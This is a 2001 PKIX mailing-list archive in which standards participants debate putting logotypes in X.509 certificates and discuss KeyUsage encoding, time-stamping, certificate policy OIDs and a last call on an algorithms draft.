To: Michael Zolotarev <[e-mail]>
Cc: "'Stefan Santesson'" <[e-mail]>, Stephen Kent <[e-mail]>, Michael Zolotarev <[e-mail]>, [e-mail]
Subject: RE: Logotypes in certificates
Date: Thu, 22 Mar 2001 19:48:03 +0000
X-Mailer: AT&T Message Center Version 1 (Dec 14 2000)
X-Authenticated-Sender: [e-mail]
Message-Id: <[e-mail]>

As I have said a number of times already, there is no use
between machines for the Logo as part of the cert. 

This is purely for human's that might want to look at a
redition of the cert in a paper-like framework, which BTW
is essentially a per-use type of decision and not ANYTHIG
having to do with the negotiability or negotiations
process of the cert itself.

As Mssr. Kemp has pointed out as well, let the
application, if it needs to, deal with displaying a Logo
as part of its opeations.

If this presists as a topic of conversation then I would
suggest that a formal specification for the "CertViewer"
is needed as part of this same scheme so that the Logo's
will render and look the same everywhere otherwise the
logo and its intended use is pointless and the fact that
it is "potentially different" on a number of platforms
will lesson the value and increase the potential
confusion factor for the use of these additions.


--
Regards,
Todd
> Now I'm really confused.
> 
> The whole problem is, as Stephen has neatly put it, that "the whole purpose
> of including a displayable logo is precisely an attempt by a CA to gain the
> trust of users".
> 
> A CA requires to gain trust of a user if it is not still trusted
> (obviously). Which is the case when a path construction 
> (not validation!) ended up at some self-signed CA which is not among the
> user's trusted roots set. This is the only case I can think of when a
> decision is to be made by the user, i.e. whether to trust that CA or not. 
> 
> I cannot think of any other situation when a CA would require to "gain the
> trust of users".
> 
> If so, then the scope of analysis of logotype's impact is limited to path
> construction, not to path validation. Because, again, validation begins when
> the trust is already defined, and it is to late for the user to intervene. 
> 
> Path validation algorithm is 'silent', it does not need to present anything
> to the user. Therefore, presence of a logotype cannot possible affect the
> result of the validation, as the user is not asked about anything, or
> presented anything, at that stage.
> 
> Consiquently, I'm failing to understand how path validation parameters and
> constrains can be affected by the logotypes.
> 
> I guess there may be something fundamental I'm missing...
> 
> Regards
> Michael
>  
> 
> -----Original Message-----
> From: Stefan Santesson [mailto:[e-mail]]
> Sent: Friday, March 23, 2001 4:56 AM
> To: Stephen Kent; Michael Zolotarev
> Cc: [e-mail]
> Subject: RE: Logotypes in certificates
> 
> 
> Steve,
> 
> There was a suggestion during a dinner yesterday that logotypes actually 
> could be provided as a policy qualifier. That would actually solve your 
> problem since you could directly tie acceptance of logotypes in 
> certificates to a particular policy.
> 
> This enables you to control the path validation problem with the use of 
> policy constraints.
> 
> /Stefan
> 
> 
> At 18:21 2001-03-21 -0500, Stephen Kent wrote:
> >Michael,
> >
> >>Though I don't favor including logotype or reference to a logotype to a
> >>cert, considering it as a pure marketing trick (sorry, Stefan :), but my
> >>realisation was that a logotype is by no means related to the
> establishment
> >>of trust. It is 100% meant for a human eye only, and verification
> algorithm
> >>should simply ignore it, as it ingores any other proprietory extentions.
> If
> >>the verification comes up with an answer 'not validated', and the software
> >>prompts a user saying 'couldn't validate', and the user still makes a
> >>decision to trust the cert, it is an application's problem, which already
> >>exists now, and logotypes add no extra pitch to it.
> >
> >I think the whole purpose of including a displayable logo is precisely an 
> >attempt by a CA to gain the trust of users, so I disagree with your 
> >stating point. The concern I raised is not one that is addressed by your 
> >example, i.e., my example of a "bad outcome" is a cert that carries a logo 
> >which will be recognized by a user and thus will engender the user's 
> >confidence, but it is contained in a cert that, while valid under our path 
> >validation controls, has nothing to do with the entity whose logo appears 
> >in the cert and which is displayed to the user.
> >
> >>As an extreme, if a CA considers logotypes to be anyhow harmful, it simply
> >>won't have a logotype in its own cert, and refuse certification of
> >>logotypes.
> >
> >As a CA I can refuse to certify a logo-equipped cert one layer down, but 
> >not farther, unless we adopt a means of representing the logo that is 
> >subject to existing controls. Tom suggested on possible means, if we put 
> >the logo in an altname field and make it a type which can be prohibited 
> >using nameConstraints.
> >
> >Steve
> 
> 
> 
> This footnote confirms that this email message has been swept by
> MIMEsweeper for the presence of computer viruses.
> 
> 
> --------------------------------------------------------------------------------
> ---------------------------------
> The information contained in this message is confidential and is intended 
> for the addressee(s) only.  If you have received this message in error or 
> there are any problems please notify the originator immediately.  The 
> unauthorized use, disclosure, copying or alteration of this message is 
> strictly forbidden. Baltimore Technologies plc will not be liable for direct, 
> special, indirect or consequential damages arising from alteration of the 
> contents of this message by a third party or as a result of any virus being 
> passed on.
> 
> In addition, certain Marketing collateral may be added from time to time to 
> promote Baltimore Technologies products, services, Global e-Security or 
> appearance at trade shows and conferences.
>  
> This footnote confirms that this email message has been swept by 
> Baltimore MIMEsweeper for Content Security threats, including
> computer viruses.


Received: from stargate.zergo.com.au (IDENT:[e-mail] [203.2.208.130]) by above.proper.com (8.9.3/8.9.3) with ESMTP id KAA14243 for <[e-mail]>; Thu, 22 Mar 2001 10:58:12 -0800 (PST)
Received: from sweepau.baltimore.com.au (sweepau.zergo.com.au [10.61.2.6]) by stargate.zergo.com.au (8.9.1/8.8.7) with ESMTP id FAA02532 for <[e-mail]>; Fri, 23 Mar 2001 05:07:48 +1100
Received: from sydneymail1.zergo.com.au (unverified) by sweepau.baltimore.com.au (Content Technologies SMTPRS 4.2.1) with ESMTP id <[e-mail]>; Fri, 23 Mar 2001 05:58:53 +1100
Received: by sydneymail1.zergo.com.au with Internet Mail Service (5.5.2650.21) id <HNY7PPN4>; Fri, 23 Mar 2001 05:56:14 +1100
Message-ID: <[e-mail]>
From: Michael Zolotarev <[e-mail]>
To: "'Stefan Santesson'" <[e-mail]>, Stephen Kent <[e-mail]>, Michael Zolotarev <[e-mail]>
Cc: [e-mail]
Subject: RE: Logotypes in certificates
Date: Fri, 23 Mar 2001 05:56:12 +1100
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"

Now I'm really confused.

The whole problem is, as Stephen has neatly put it, that "the whole purpose
of including a displayable logo is precisely an attempt by a CA to gain the
trust of users".

A CA requires to gain trust of a user if it is not still trusted
(obviously). Which is the case when a path construction 
(not validation!) ended up at some self-signed CA which is not among the
user's trusted roots set. This is the only case I can think of when a
decision is to be made by the user, i.e. whether to trust that CA or not. 

I cannot think of any other situation when a CA would require to "gain the
trust of users".

If so, then the scope of analysis of logotype's impact is limited to path
construction, not to path validation. Because, again, validation begins when
the trust is already defined, and it is to late for the user to intervene. 

Path validation algorithm is 'silent', it does not need to present anything
to the user. Therefore, presence of a logotype cannot possible affect the
result of the validation, as the user is not asked about anything, or
presented anything, at that stage.

Consiquently, I'm failing to understand how path validation parameters and
constrains can be affected by the logotypes.

I guess there may be something fundamental I'm missing...

Regards
Michael
 

-----Original Message-----
From: Stefan Santesson [mailto:[e-mail]]
Sent: Friday, March 23, 2001 4:56 AM
To: Stephen Kent; Michael Zolotarev
Cc: [e-mail]
Subject: RE: Logotypes in certificates


Steve,

There was a suggestion during a dinner yesterday that logotypes actually 
could be provided as a policy qualifier. That would actually solve your 
problem since you could directly tie acceptance of logotypes in 
certificates to a particular policy.

This enables you to control the path validation problem with the use of 
policy constraints.

/Stefan


At 18:21 2001-03-21 -0500, Stephen Kent wrote:
>Michael,
>
>>Though I don't favor including logotype or reference to a logotype to a
>>cert, considering it as a pure marketing trick (sorry, Stefan :), but my
>>realisation was that a logotype is by no means related to the
establishment
>>of trust. It is 100% meant for a human eye only, and verification
algorithm
>>should simply ignore it, as it ingores any other proprietory extentions.
If
>>the verification comes up with an answer 'not validated', and the software
>>prompts a user saying 'couldn't validate', and the user still makes a
>>decision to trust the cert, it is an application's problem, which already
>>exists now, and logotypes add no extra pitch to it.
>
>I think the whole purpose of including a displayable logo is precisely an 
>attempt by a CA to gain the trust of users, so I disagree with your 
>stating point. The concern I raised is not one that is addressed by your 
>example, i.e., my example of a "bad outcome" is a cert that carries a logo 
>which will be recognized by a user and thus will engender the user's 
>confidence, but it is contained in a cert that, while valid under our path 
>validation controls, has nothing to do with the entity whose logo appears 
>in the cert and which is displayed to the user.
>
>>As an extreme, if a CA considers logotypes to be anyhow harmful, it simply
>>won't have a logotype in its own cert, and refuse certification of
>>logotypes.
>
>As a CA I can refuse to certify a logo-equipped cert one layer down, but 
>not farther, unless we adopt a means of representing the logo that is 
>subject to existing controls. Tom suggested on possible means, if we put 
>the logo in an altname field and make it a type which can be prohibited 
>using nameConstraints.
>
>Steve



This footnote confirms that this email message has been swept by
MIMEsweeper for the presence of computer viruses.


-----------------------------------------------------------------------------------------------------------------
The information contained in this message is confidential and is intended 
for the addressee(s) only.  If you have received this message in error or 
there are any problems please notify the originator immediately.  The 
unauthorized use, disclosure, copying or alteration of this message is 
strictly forbidden. Baltimore Technologies plc will not be liable for direct, 
special, indirect or consequential damages arising from alteration of the 
contents of this message by a third party or as a result of any virus being 
passed on.

In addition, certain Marketing collateral may be added from time to time to 
promote Baltimore Technologies products, services, Global e-Security or 
appearance at trade shows and conferences.
 
This footnote confirms that this email message has been swept by 
Baltimore MIMEsweeper for Content Security threats, including
computer viruses.


Received: from exafix.addtrust.com ([212.112.175.83]) by above.proper.com (8.9.3/8.9.3) with ESMTP id JAA10876 for <[e-mail]>; Thu, 22 Mar 2001 09:55:24 -0800 (PST)
Received: from santesson.addtrust.com ([216.70.218.90]) by exafix.addtrust.com with Microsoft SMTPSVC(5.0.2195.1600); Thu, 22 Mar 2001 18:54:12 +0100
Message-Id: <[e-mail]>
X-Sender: [e-mail]
X-Mailer: QUALCOMM Windows Eudora Version 5.0
Date: Thu, 22 Mar 2001 18:55:37 +0100
To: Stephen Kent <[e-mail]>, Michael Zolotarev <[e-mail]>
From: Stefan Santesson <[e-mail]>
Subject: RE: Logotypes in certificates
Cc: [e-mail]
In-Reply-To: <p05010407b6dee6ef6571@[128.33.238.72]>
References: < <[e-mail]> <[e-mail]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-OriginalArrivalTime: 22 Mar 2001 17:54:13.0218 (UTC) FILETIME=[1AC65420:01C0B2F9]

Steve,

There was a suggestion during a dinner yesterday that logotypes actually 
could be provided as a policy qualifier. That would actually solve your 
problem since you could directly tie acceptance of logotypes in 
certificates to a particular policy.

This enables you to control the path validation problem with the use of 
policy constraints.

/Stefan


At 18:21 2001-03-21 -0500, Stephen Kent wrote:
>Michael,
>
>>Though I don't favor including logotype or reference to a logotype to a
>>cert, considering it as a pure marketing trick (sorry, Stefan :), but my
>>realisation was that a logotype is by no means related to the establishment
>>of trust. It is 100% meant for a human eye only, and verification algorithm
>>should simply ignore it, as it ingores any other proprietory extentions. If
>>the verification comes up with an answer 'not validated', and the software
>>prompts a user saying 'couldn't validate', and the user still makes a
>>decision to trust the cert, it is an application's problem, which already
>>exists now, and logotypes add no extra pitch to it.
>
>I think the whole purpose of including a displayable logo is precisely an 
>attempt by a CA to gain the trust of users, so I disagree with your 
>stating point. The concern I raised is not one that is addressed by your 
>example, i.e., my example of a "bad outcome" is a cert that carries a logo 
>which will be recognized by a user and thus will engender the user's 
>confidence, but it is contained in a cert that, while valid under our path 
>validation controls, has nothing to do with the entity whose logo appears 
>in the cert and which is displayed to the user.
>
>>As an extreme, if a CA considers logotypes to be anyhow harmful, it simply
>>won't have a logotype in its own cert, and refuse certification of
>>logotypes.
>
>As a CA I can refuse to certify a logo-equipped cert one layer down, but 
>not farther, unless we adopt a means of representing the logo that is 
>subject to existing controls. Tom suggested on possible means, if we put 
>the logo in an altname field and make it a type which can be prohibited 
>using nameConstraints.
>
>Steve



Received: from mailc.telia.com (mailc.telia.com [194.22.190.4]) by above.proper.com (8.9.3/8.9.3) with ESMTP id HAA26262 for <[e-mail]>; Thu, 22 Mar 2001 07:28:06 -0800 (PST)
Received: from arport ([212.181.94.147]) by mailc.telia.com (8.11.2/8.11.0) with SMTP id f2MFS6X19788 for <[e-mail]>; Thu, 22 Mar 2001 16:28:07 +0100 (CET)
Message-ID: <003d01c0b2e3$9fa2c9a0$0500a8c0@arport>
From: "Anders Rundgren" <[e-mail]>
To: <[e-mail]>
References: <[e-mail]>
Subject: Crypto-keys break question
Date: Thu, 22 Mar 2001 16:20:26 +0100
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400

Hi 
Some Internet-banks use key-pad boxes for authentication and signing.

A popular brand uses an 8-digit input string that produces an 8-digit result
and with no timing built-in.  On the manufacturer's site there is not a single word on
crypto-graphic strength which makes me wonder how great this thing really is.

Question: This should be like a 27-bit symmetric key which should be *very* easy to break assuming
that you have a few input and  output values at hand.  Is this a correct assumption?
If so, how many seconds/minutes/hours on a standard-PC?  Any links?

Anders




Received: from stingray.missi.ncsc.mil (stingray.missi.ncsc.mil [144.51.50.20]) by above.proper.com (8.9.3/8.9.3) with ESMTP id GAA23780 for <[e-mail]>; Thu, 22 Mar 2001 06:54:58 -0800 (PST)
Received: from stingray.missi.ncsc.mil (root@localhost) by stingray.missi.ncsc.mil with ESMTP id JAA18713 for <[e-mail]>; Thu, 22 Mar 2001 09:54:29 -0500 (EST)
Message-Id: <[e-mail]>
Sender: [e-mail]
Date: Thu, 22 Mar 2001 09:53:35 -0500
From: "David P. Kemp" <[e-mail]>
X-Mailer: Mozilla 4.5 [en] (X11; U; SunOS 5.7 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: [e-mail]
Subject: Re: Logotypes [not] in certificates
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

> From: Dean Povey <[e-mail]>
>
>    [much snippage]
>
> I can see three options (well actually the fourth one is to say that
> it is up to the CA policy to enforce constraints):
> 
> 1. Using an OtherName in subjectAlt has a certain logic to it. 
> 
> 2. An uglier but perhaps more pragmatic approach is to create a logo
>    attribute and shove it in a DN (preferably in altName) with either 
>    PKCS9String or IA5String type.  
> 
> 3. Possibly the most elegant approach, but one which unfortunately has the
>    most impact on current standards is to fix the general problem of
>    enforcing constraints on user certs.


A fifth option is to regard this as an application concern.  When
you get a card with the VISA logo on it from a bank, you have no
technical assurance that the bank was authorized to display that
logo.

Similarly for a UL tag on an appliance cord, a Truste logo on a web
page, or a combat medal on a uniform.

The CA is involved in certifying the identity of the end entity, but
only the end entity itself is responsible for displaying or not
displaying a particular logotype in its communications with other end
entities.  Most of the postings in favor of logotypes in certificates
have described why branding is important to users, but have failed
to to justify the necessity of a CA's involvement in the branding
process.


Received: from email.nist.gov (email.nist.gov [129.6.2.7]) by above.proper.com (8.9.3/8.9.3) with ESMTP id FAA17177 for <[e-mail]>; Thu, 22 Mar 2001 05:14:57 -0800 (PST)
Received: from vaio (asynce035.nist.gov [129.6.31.35]) by email.nist.gov (8.9.3/8.9.3) with ESMTP id IAA13403 for <[e-mail]>; Thu, 22 Mar 2001 08:14:56 -0500 (EST)
Message-Id: <[e-mail]>
X-Sender: [e-mail]
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 
Date: Wed, 21 Mar 2001 18:06:45 -0400
To: [e-mail]
From: Tim Polk <[e-mail]>
Subject: WG Last Call: Algorithms draft
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

Folks,

This message announces Working Group Last Call for the updates to the PKIX 
Public Key Algorithms draft. The specification is currently available at 
http://www.ietf.org/internet-drafts/draft-ietf-pkix-ipki-pkalgs-02.txt. The 
chairs plan to request Proposed Standard status for this document, and it 
will advance with the Certs and CRL Profile.

Last Call will remain open through at least April 4, 2001.

Thanks,

Tim Polk



Received: from dtctxexchims01.ins.com ([208.164.93.95]) by above.proper.com (8.9.3/8.9.3) with ESMTP id EAA11756 for <[e-mail]>; Thu, 22 Mar 2001 04:27:49 -0800 (PST)
Received: from cpxuser (PPPa83-ResaleDetroit1-2R7402.dialinx.net [4.16.192.240]) by dtctxexchims01.ins.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id HDL8D8ZN; Thu, 22 Mar 2001 06:27:47 -0600
Message-Id: <[e-mail]>
X-Sender: [e-mail]
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 
Date: Thu, 22 Mar 2001 07:27:59 -0500
To: Peter Williams <[e-mail]>, "'[e-mail]'" <[e-mail]>, [e-mail], [e-mail], [e-mail]
From: Roger Younglove <[e-mail]>
Subject: RE: specific policies used in conjunction with anyPolicy
Cc: [e-mail]
In-Reply-To: <[e-mail].c om>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

It is not the usual free-for-all hopefully. All of my PKI companies are 
registered with IANA and they then keep the specific OIDs assigned to their 
CPs and CPSs in house. Each cert carries the full tree for the CP.
At 02:49 PM 03/21/2001 , Peter Williams wrote:


>Is it the usual free-for-all where noone knows anything and you just choose
>your own OID?
>
>Peter.

--------
TTFN
Roger W. Younglove, CISSP
Distinguished Member of Consulting Staff
Lucent Worldwide Services--Information Security
100 Galleria Officentre, Ste. 220
Southfield, MI 48034-8428
Numeric page: 888.935.6755
E-mail page:
[e-mail]
eFax number: 413.425.5368
www.lucent.com/netcare



Received: from web3208.mail.yahoo.com (web3208.mail.yahoo.com [204.71.200.29]) by above.proper.com (8.9.3/8.9.3) with SMTP id DAA07058 for <[e-mail]>; Thu, 22 Mar 2001 03:18:06 -0800 (PST)
Message-ID: <[e-mail]>
Received: from [202.144.45.2] by web3208.mail.yahoo.com; Thu, 22 Mar 2001 03:18:06 PST
Date: Thu, 22 Mar 2001 03:18:06 -0800 (PST)
From: vivek saraf <[e-mail]>
Subject: RE: How to send class info from RA to CA
To: Carlisle Adams <[e-mail]>
Cc: [e-mail], [e-mail]
In-Reply-To: <[e-mail]>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii

Hello Carlise,

     Thanks, I got your point, i will use the issuer
key identifier extension in the certTemplate to
identify the CA.

Regards,
Vivek Saraf


--- Carlisle Adams <[e-mail]> wrote:
> Hi Vivek,
> 
> > ----------
> > From: 	vivek saraf[SMTP:[e-mail]]
> > Sent: 	Wednesday, March 21, 2001 5:08 AM
> > To: 	[e-mail]
> > Subject: 	How to send class info from RA to CA
> > 
> > Hello,
> > 
> >    I have a CA running which issues multiple
> classes
> > of certifiactes. Now when RA requests a
> certifiacte
> > for a user, the RA should specify the class for
> which
> > it is requesting, but in the PKI message i don't
> find
> > any field for sending the class information.
> > 
> > I have Free text in the PKI Header, if i use this
> it
> > will not be inter operable.
> > 
> > Can any body help me
>  
> How does the issued certificate indicate what class
> it is?  Is it by some
> extension, or is it by an indicator somehow embedded
> in the name of the
> subject or the issuer?  Whatever mechanism you
> choose to use, all you have
> to do is use the same mechanism in the certTemplate
> in the request message
> from the RA to the CA.  This is why the certTemplate
> exists; it allows the
> requester to specify to the CA exactly the cert
> contents that are important
> to them.
> 
> Carlisle.
> 
> 


__________________________________________________
Do You Yahoo!?
Get email at your own domain with Yahoo! Mail. 
http://personal.mail.yahoo.com/


Received: from mail.brokat-le.com (mail.metechnology.com [194.172.189.65]) by above.proper.com (8.9.3/8.9.3) with ESMTP id BAA21582 for <[e-mail]>; Thu, 22 Mar 2001 01:09:49 -0800 (PST)
From: [e-mail]
Received: (qmail 12790 invoked by uid 304); 22 Mar 2001 09:10:45 -0000
Received: from [e-mail] by mail with qmail-scanner-0.94 (uvscan: v4.0.70/v4128. . Clean. Processed in 0.120424 secs); 22/03/2001 10:10:45
Received: from stefanh.brokat-le.com (HELO stefanh) (10.1.3.119) by mail.brokat-le.com with SMTP; 22 Mar 2001 09:10:45 -0000
Reply-To: <[e-mail]>
Sender: "Stefan Heiss" <[e-mail]>
To: <[e-mail]>
Cc: <[e-mail]>
Subject: AW: Question from a new comer about KeyUsage
Date: Thu, 22 Mar 2001 10:14:14 +0100
Message-ID: <[e-mail]>
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3
In-Reply-To: <[e-mail]>
Disposition-Notification-To: "Stefan Heiss" <[e-mail]>

Hi Prashant,

Neither way, but 03 03 07 00 80 would formaly be correct.
(You have to count bits in the Bitstring from left to right.)

BUT this makes NO sense in this context, as bits 7 and 8
are undefined in the absence of the keyAgreement bit.
(See RFC 2459.)

Regards, Stefan


> -----Ursprüngliche Nachricht-----
> Von: Prashant Kumar [mailto:[e-mail]]
> Gesendet am: Mittwoch, 21. März 2001 18:55
> An: 'Stefan.Heiss'
> Betreff: RE: Question from a new comer about KeyUsage
>
> Stefan,
>
> Thanks a lot for your help. How will I encode
> bit 8(ie, the 9th bit) in keyusage using BER.
> Will it be.
>
> 03 03 00 00 01 or 03 03 0E 80 00.
>
> Thank you again.
>
> Regards,
> Prashant.
>
> -----Original Message-----
> From: Stefan Heiss [mailto:[e-mail]]
> Sent: Wednesday, March 21, 2001 12:29 PM
> To: Kumar, Prashant [CENTR:437:EXCH]
> Subject: AW: Question from a new comer about KeyUsage
>
>
> 05 means: ignore the last 5 bits of following the bitstream.
> A0 is the whole bitstream, i.e. bit 0 and 2 are set.
>
> Regards Stefan
>
>
> Dr. Stefan Heiss
> BROKAT AG | Commerce Systems | Research & Development
> Ringstrasse 33 | D-04430 Dölzig
> Phone: [phone] | Fax: -535
> <http://www.brokat.com/>
>
>
>
> > -----Ursprüngliche Nachricht-----
> > Von: Prashant Kumar [mailto:[e-mail]]
> > Gesendet am: Mittwoch, 21. März 2001 17:26
> > An: [e-mail]
> > Betreff: Question from a new comer about KeyUsage
> >
> > In one of the Microsoft Certificate the Key usage bits are
> > set as 0x05 A0(0000 0101 1010 0000). If we open the
> > certificate using MS it claims that
> >
> > 1. Digital Signature, Key Encipherment[A0] bits are set.
> >
> > However if you go according to the RFC 2459 it actually has
> > Digital Signature, nonRepudiation, and dataEncipherment set
> > ....(Bits 0, 1 and 3) bit 8 is the right most bit...
> >
> > KeyUsage ::= BIT STRING {
> > digitalSignature (0),
> > nonRepudiation (1),
> > keyEncipherment (2),
> > dataEncipherment (3),
> > keyAgreement (4),
> > keyCertSign (5),
> > cRLSign (6),
> > encipherOnly (7),
> > decipherOnly (8) }
> >
> > Any Comments ?
> >
> > Regards,
> > Prashant.
> >
> >
>
>
>



Received: from pdcpune.elock.co.in (pdcpune.elock.co.in [196.1.104.8]) by above.proper.com (8.9.3/8.9.3) with ESMTP id UAA23970 for <[e-mail]>; Wed, 21 Mar 2001 20:47:42 -0800 (PST)
Received: from insight (insight.fcpl.co.in [196.1.104.150]) by pdcpune.elock.co.in with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) id HDBQCVZJ; Thu, 22 Mar 2001 10:17:07 +0530
Message-ID: <001e01c0b28b$34d338b0$966801c4@insight>
From: "Prashant Dambe" <[e-mail]>
To: <[e-mail]>
Subject: Query about Time-to-check-back in TCP based Time-stamping
Date: Thu, 22 Mar 2001 10:17:32 +0530
MIME-Version: 1.0
Content-Type: multipart/alternative; boundary="----=_NextPart_000_001B_01C0B2B9.4E6FFD70"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2314.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300

This is a multi-part message in MIME format.

------=_NextPart_000_001B_01C0B2B9.4E6FFD70
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Draft for Time-stamp says
TCP-based protocol is to be used for transport of TSA messages.
This protocol is suitable for cases where an=20
entity initiates a transaction and can poll to pick up the results.
The "time-to-check-back" parameter is an unsigned 32-bit integer,=20
defined to be the number of seconds that have elapsed since midnight,=20
January 1, 1970, coordinated universal time.
It provides an estimate of the time that the end entity should send=20
its next pollReq.

It means local clock has to synchronized with TS-Server clock to use
properly the time-to-check-back field.





------=_NextPart_000_001B_01C0B2B9.4E6FFD70
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2314.1000" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Draft for Time-stamp says<BR>TCP-based =
protocol is=20
to be used for transport of TSA messages.<BR>This protocol is suitable =
for cases=20
where an <BR>entity initiates a transaction and can poll to pick up the=20
results.<BR>The "time-to-check-back" parameter is an unsigned 32-bit =
integer,=20
<BR>defined to be the number of seconds that have elapsed since =
midnight,=20
<BR>January 1, 1970, coordinated universal time.<BR>It provides an =
estimate of=20
the time that the end entity should send <BR>its next =
pollReq.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2><BR>It means local clock has to =
synchronized with=20
TS-Server clock to use<BR>properly the time-to-check-back =
field.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV></BODY></HTML>

------=_NextPart_000_001B_01C0B2B9.4E6FFD70--



Received: from thunder.dstc.qut.edu.au (thunder.dstc.qut.edu.au [131.181.71.1]) by above.proper.com (8.9.3/8.9.3) with ESMTP id UAA23479 for <[e-mail]>; Wed, 21 Mar 2001 20:39:22 -0800 (PST)
Received: from dstc.qut.edu.au (garnet.dstc.qut.edu.au [131.181.71.36]) by thunder.dstc.qut.edu.au (8.10.1/8.10.1) with ESMTP id f2M4ctm04380; Thu, 22 Mar 2001 14:38:55 +1000 (EST)
Message-Id: <[e-mail]>
X-Mailer: exmh version 2.2 06/23/2000 with nmh-1.0.4
To: Stephen Kent <[e-mail]>
cc: "Tom Gindin" <[e-mail]>, [e-mail]
Subject: Re: Logotypes in certificates 
In-Reply-To: Message from Stephen Kent <[e-mail]>  of "Wed, 21 Mar 2001 18:03:54 EST." <p05010406b6dee2f776b7@[128.33.238.72]> 
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Thu, 22 Mar 2001 14:38:55 +1000
From: Dean Povey <[e-mail]>

While I tend to dislike things like name constraints or actually any top
down asserted constraints (they are things that can be easily controlled by
external policy controls and they make automated path building a right pain
in the butt), I can understand Stephen's concerns, and we need to come up
with a sensible approach to this.

As far as I can see there is no other sensible way to constrain logos other
than to specificaly disallow them in some future certificate(s) in the path
chain.  Everything else will have to rely on sufficient due-dilligence of
the CA to verify they are correct.  Let's face it they don't do this
already for the things they are supposed to do we are stuffed, regardless
of how many constraints a higher level CA imposes.

The path validation algorithm is complex as it is, so I would favour an 
approach that had as little effect on it as possible.  I also think that 
by and large these type of constraints don't get used very often, so I 
think we also need to consider making the most common case usage the 
easiest.

I can see three options (well actually the fourth one is to say that
it is up to the CA policy to enforce constraints):

1. Using an OtherName in subjectAlt has a certain logic to it.  I had also 
   envisioned subject only logos but there is nothing to stop issuer's 
   putting theirs in as well.  The constraints problem would logically be 
   punted to the NameConstraints extension.  

   Unfortunately X.509/RFC2459/Son-of-RFC2459 doesn't describe any
   semantics for name constraints with OtherName so vendors will have to
   fix their path validation anyway.  They may also have to fix their 
   implementations to handle the new OID -> type mapping.

2. An uglier but perhaps more pragmatic approach is to create a logo
   attribute and shove it in a DN (preferably in altName) with either 
   PKCS9String or IA5String type.  

   Unfortunately, unless I have misunderstood the way name constraints
   works for DNs the only way that I can that a CA could stop a 
   subordinate CA from issuing certificates with a logo is to require
   that CA to include a logo attribute with a known NULL value, as I can't
   think of another way of excluding a given attribute from the DN 
   namespace.

   This would probably work without changing any/much existing code. 
   However given this working groups general aversion to putting stuff in
   the DN, I can't see this being very popular.

3. Possibly the most elegant approach, but one which unfortunately has the
   most impact on current standards is to fix the general problem of
   enforcing constraints on user certs.  While logo type has been singled out,
   the scenario Stephen describes applies to any extension 
   outside a small subset which the path validation explicitly handles.

   Fixing this is relatively easy.  We define can define an 
   ExtensionsConstraints extension which looks something like:
   
   extensionsConstraints EXTENSION ::= {
        SYNTAX          ExtensionConstraintSyntax
        IDENTIFIED BY   id-ce-extensionConstraint }

   ExtensionsConstraintsSyntax ::= SEQUENCE {
     permittedExtensions     SEQUENCE OF ExtensionConstraint (1..MAX) OPTIONAL,
     excludedExtensions  [0] SEQUENCE OF ExtensionConstraint (1..MAX) OPTIONAL,
     requiredExtensions  [1] SEQUENCE OF ExtensionConstraint (1..MAX) OPTIONAL
   }
     
   ExtensionConstraint ::= SEQUENCE {
     constrainedExtensions SEQUENCE OF OBJECT IDENTIFIER (1..MAX),
     skipCerts             SkipCerts
   }

   permittedExtensions lists those extensions which are explicitly allowed
   to appear after some later point in the certificate path.

   excludedExtensions lists those extensions which explicitly disallowed
   to appear after some later point in the certificate path.

   requiredExtensions lists those extensions which MUST appear at some 
   later point in the certificate path.

   Each of these lists contains one more ExtensionConstraint which lists 
   the OIDs for which the constraint applies and the number of Certificates
   to skip before applying the constraint (ala PolicyConstraints).
   
   We then define the logo indicator as a simple extension as indicated
   earlier and then the CA is free to exclude it (or any other extension
   they don't trust a subordinate CA with).

   If you wanted to go further you could deprecate PolicyConstraints as 
   this new extension fully supports it.

   I like this approach best as it is simple, general and fixes this 
   problem for most simple cases.  It also allows some more explicit 
   expression of policy in the Certificate in a machine interpretable way.
   The big downside of course is that this means creating a path validation
   process incompatible with X.509 and changing a bunch of implementations
   which is never fun.

Anyway just tossing ideas around.

Cheers.
-- 
Dean Povey,         | e-m: [e-mail] | JCSI:  Java Crypto Toolkit 
Research Scientist  | ph:  [phone]   | uPKI:  C PKI toolkit for embedded
Security Unit, DSTC | fax: [phone]   |        systems
